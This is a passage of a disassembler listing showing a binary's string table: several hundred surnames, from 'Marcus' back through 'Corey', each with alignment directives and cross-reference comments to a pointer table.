'Marcus',0 ; DATA XREF: ___:0042E084o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E080o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E07Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E078o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E074o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E070o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E06Co aMalova db 'Malova',0 ; DATA XREF: ___:0042E068o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E064o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E060o align 10h aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E05Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E058o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E054o align 10h aMahony db 'Mahony',0 ; DATA XREF: ___:0042E050o align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E04Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E048o aMacy db 'Macy',0 ; DATA XREF: ___:0042E044o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E040o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E03Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E038o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E034o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E030o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E02Co align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E028o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E024o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E020o align 10h aLussier db 'Lussier',0 ; DATA XREF: ___:0042E01Co aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E018o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E014o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E010o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E00Co aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E008o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E004o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E000o align 10h aLoza db 'Loza',0 ; DATA XREF: ___:0042DFFCo align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF8o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFF4o aLoss db 'Loss',0 ; DATA XREF: ___:0042DFF0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFECo align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE8o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFE4o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFE0o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFDCo align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD8o align 10h aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFD4o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042DFD0o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFCCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFC4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFC0o aLine db 'Line',0 ; DATA XREF: ___:0042DFBCo align 10h aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB8o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042DFB4o align 10h aLinares db 'Linares',0 ; DATA XREF: ___:0042DFB0o aLim db 'Lim',0 ; DATA XREF: ___:0042DFACo aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA8o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042DFA4o align 10h aLiem db 'Liem',0 ; DATA XREF: ___:0042DFA0o align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF9Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF98o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF94o align 10h aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF90o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF8Co align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF88o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF84o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF80o align 10h aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF7Co align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF78o align 10h aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF74o aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF70o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF6Co aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF68o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF64o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF60o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF5Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF58o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042DF54o align 10h aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF50o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF4Co aLa db 'La',0 ; DATA XREF: ___:0042DF48o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF44o align 10h aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF40o align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF3Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF38o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF34o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF30o aKraus db 'Kraus',0 align 10h aKrasney db 'Krasney',0 aKrailo db 'Krailo',0 align 10h aKraemer db 'Kraemer',0 aKovaks db 'Kovaks',0 align 10h aKotter db 'Kotter',0 align 4 aKorzybski db 'Korzybski',0 align 4 aKool db 'Kool',0 align 4 aKonrad db 'Konrad',0 align 4 aKoniaris db 'Koniaris',0 align 10h aKommer db 'Kommer',0 align 4 aKoivumaki db 'Koivumaki',0 align 4 aKohn db 'Kohn',0 align 4 aKoch db 'Koch',0 align 4 aKobrick db 'Kobrick',0 aKnuff db 'Knuff',0 align 4 aKlint db 'Klint',0 align 4 aKlinkenborg db 'Klinkenborg',0 aKling db 'Kling',0 align 10h aKlemperer db 'Klemperer',0 align 4 aKleinfelder db 'Kleinfelder',0 aKleiman db 'Kleiman',0 aKleckner db 'Kleckner',0 align 4 aKittridge db 'Kittridge',0 align 4 aKirscht db 'Kirscht',0 aKippenberger db 'Kippenberger',0 align 10h aKinsley db 'Kinsley',0 aKindall db 'Kindall',0 aKimura db 'Kimura',0 align 4 aKimmett db 'Kimmett',0 aKimmel db 'Kimmel',0 align 4 aKhong db 'Khong',0 align 10h aKeul db 'Keul',0 align 4 aKerry db 'Kerry',0 align 10h aKendall db 'Kendall',0 aKemsley db 'Kemsley',0 aKempton db 'Kempton',0 aKelsey db 'Kelsey',0 align 10h aKelker db 'Kelker',0 align 4 aKeith db 'Keith',0 align 10h aKeepper db 'Keepper',0 aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE88o align 10h aKee db 'Kee',0 ; DATA XREF: ___:0042DE84o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE80o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE7Co align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE78o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE74o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE70o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE6Co align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE68o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE64o align 10h aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE60o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE5Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE58o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE54o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE50o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE4Co aJulious db 'Julious',0 ; DATA XREF: ___:0042DE48o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE44o aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE40o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE3Co align 10h aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE38o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042DE34o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE30o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE2Co aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE28o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE24o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE20o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE1Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE18o aJay db 'Jay',0 ; DATA XREF: ___:0042DE14o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE10o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE0Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE08o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE04o align 10h aJain db 'Jain',0 ; DATA XREF: ___:0042DE00o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDFCo align 10h aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF8o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDF4o align 10h aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDF0o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDECo aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE8o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDE4o align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDE0o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDDCo align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD8o align 10h aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDD4o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDD0o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDCCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDC4o align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDC0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDBCo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB8o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDB4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDB0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDACo align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA8o align 10h aHuey db 'Huey',0 ; DATA XREF: ___:0042DDA4o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDA0o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD9Co align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD98o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD94o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD90o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD8Co aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD88o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD84o align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD80o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD7Co align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD78o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD74o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD70o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD6Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD68o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD64o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD60o align 10h aHock db 'Hock',0 ; DATA XREF: ___:0042DD5Co align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD58o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD54o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD50o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD4Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD48o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD44o align 10h aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD40o aHester db 'Hester',0 ; DATA XREF: ___:0042DD3Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD38o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD34o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD30o align 10h aHenery db 'Henery',0 ; DATA XREF: ___:0042DD2Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD28o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD24o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD20o align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD1Co aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD18o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD14o align 10h aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD10o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD0Co align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD08o align 10h aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD04o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD00o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCFCo align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF8o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCF4o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCF0o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCECo aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE8o align 10h aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCE4o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCE0o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCDCo aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD8o aHand db 'Hand',0 ; DATA XREF: ___:0042DCD4o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCD0o align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCCCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCC4o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCC0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCBCo aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCB4o align 10h aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCB0o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCACo align 10h aHa db 'Ha',0 ; DATA XREF: ___:0042DCA8o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DCA4o aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCA0o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC9Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC98o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC94o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC90o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC8Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC88o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC84o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC80o align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC7Co aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC78o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042DC74o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC70o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC6Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC68o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC64o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC60o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC5Co align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC58o aGist db 'Gist',0 ; DATA XREF: ___:0042DC54o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC50o align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DC4Co align 10h aGili db 'Gili',0 ; DATA XREF: ___:0042DC48o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC44o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC40o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC3Co aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC38o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC34o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC30o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC2Co align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC28o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC24o aGarman db 'Garman',0 ; DATA XREF: ___:0042DC20o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC1Co align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC18o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC14o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC10o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC0Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC08o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC04o align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DC00o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBFCo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF8o align 10h aFrye db 'Frye',0 ; DATA XREF: ___:0042DBF4o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBF0o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBECo aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE8o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBE4o align 10h aFried db 'Fried',0 ; DATA XREF: ___:0042DBE0o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBDCo align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD8o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBD4o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBD0o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBCCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC8o align 10h aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBC4o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBC0o align 10h aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBBCo aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB8o align 10h aForester db 'Forester',0 ; DATA XREF: ___:0042DBB4o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBB0o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBACo align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA8o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBA4o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBA0o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB9Co aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB98o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB94o aFink db 'Fink',0 ; DATA XREF: ___:0042DB90o align 10h aField db 'Field',0 ; DATA XREF: ___:0042DB8Co align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DB88o align 10h aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB84o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB80o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB7Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB78o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB74o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB70o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB6Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB68o align 10h aFates db 'Fates',0 ; DATA XREF: ___:0042DB64o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB60o align 10h aFarren db 'Farren',0 ; DATA XREF: ___:0042DB5Co align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DB58o align 10h aFaris db 'Faris',0 ; DATA XREF: ___:0042DB54o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB50o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB4Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB48o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB44o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB40o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB3Co aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB38o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB34o align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB30o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB2Co align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DB28o align 10h aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB24o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB20o align 10h aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB1Co align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB18o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB14o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB10o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB0Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB08o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB04o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB00o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAFCo aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF8o align 10h aEdner db 'Edner',0 ; DATA XREF: ___:0042DAF4o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DAF0o align 10h aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAECo align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE8o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DAE4o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAE0o align 10h aDussault db 'Dussault',0 ; DATA XREF: ___:0042DADCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD8o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DAD4o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAD0o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DACCo aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC8o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DAC4o align 10h aDoty db 'Doty',0 ; DATA XREF: ___:0042DAC0o align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DABCo align 10h aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB8o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DAB4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAB0o align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DAACo align 10h aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA8o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DAA4o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAA0o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA9Co aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA98o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA94o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA90o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA8Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA88o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA84o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA80o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA7Co aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA78o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA74o aDenham db 'Denham',0 ; DATA XREF: ___:0042DA70o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA6Co aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA68o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA64o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DA60o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA5Co align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA58o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA54o align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA50o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA4Co align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA48o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA44o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA40o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA3Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA38o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA34o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA30o aDavid db 'David',0 ; DATA XREF: ___:0042DA2Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA28o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA24o align 10h aDas db 'Das',0 ; DATA XREF: ___:0042DA20o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA1Co aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA18o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DA14o align 10h aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA10o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA0Co aDaly db 'Daly',0 ; DATA XREF: ___:0042DA08o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DA04o align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA00o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9FCo align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F8o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9F4o align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9F0o aCui db 'Cui',0 ; DATA XREF: ___:0042D9ECo aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E8o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9E4o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9E0o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9DCo aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D8o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9D4o aCounter db 'Counter',0 ; DATA XREF: ___:0042D9D0o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9CCo align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C8o aCorey db 'Corey',0 ; DATA 